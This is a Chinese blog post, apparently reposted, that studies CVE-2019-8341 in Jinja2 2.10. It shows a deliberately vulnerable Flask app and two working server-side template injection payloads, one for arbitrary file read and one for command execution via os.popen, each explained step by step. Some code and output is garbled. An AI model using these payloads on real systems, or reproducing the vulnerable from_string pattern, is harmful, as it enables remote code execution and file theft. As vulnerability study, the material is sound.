CVE-2019-8341 Jinja2 RCE漏洞学习

漏洞简述



漏洞简介


Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的jinja2的代码指令。

漏洞分类


远程命令/代码执行

影响版本


2.10

漏洞验证:



验证环境

  • 系统: Mac OS X
  • Python:2.7.15
  • Flask : 1.0.2
  • Jinja: 2.10

验证服务器脚本(漏洞代码)


import jinja2
from flask import Flask
from flask import requestapp = Flask("vuln")@app.route("/")
def index():username = request.values.get('username')return jinja2.Environment().from_string('Hello ' + username).render()if __name__ == "__main__":app.run(host='127.0.0.1' , port=4444)

问题代码就出在第10行: jinja2.Environment().from_string('Hello ' + username).render()

攻击方法1--任意文件读取


Payload:http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()40.read() }}
解释Payload:

#"""__mro类似于__base__,但是__mro__是追根溯源的,不是向上查找一级"""
>>> ''.__class__.__mro__
(, , )
>>> ''.__class__.__mro__[-1]

>>> ''.__class__.__mro__[-1].__subclasses__()
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
>>> ''.__class__.__mro__[-1].__subclasses__()[40]

#最终看出来就是在获取file类使用file类创建一个对象,输入参数是文件名,read()函数读取:

1070321-20190218163248592-1682679713.png

攻击方法2--命令执行


Payload:http://localhost:4444/?username={{%27%27.__class__.__base__.mro()[1].__subclasses__()[71].__init__.__globals__[%27os%27].popen(%22ls%20-l%22).read()}}
解释Payload:

#前面同理买就是为了获取两个类,这两个类中的__init__.__globals__中有os模块,用来执行命令:
"""


"""
#然后可以获取到os模块,利用os模块的popen执行命令,read函数获取回显。

1070321-20190218163726932-910479957.png

防御



不使用这个函数或者对属于进行过滤。

转载于:https://www.cnblogs.com/KevinGeorge/p/10396397.html


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部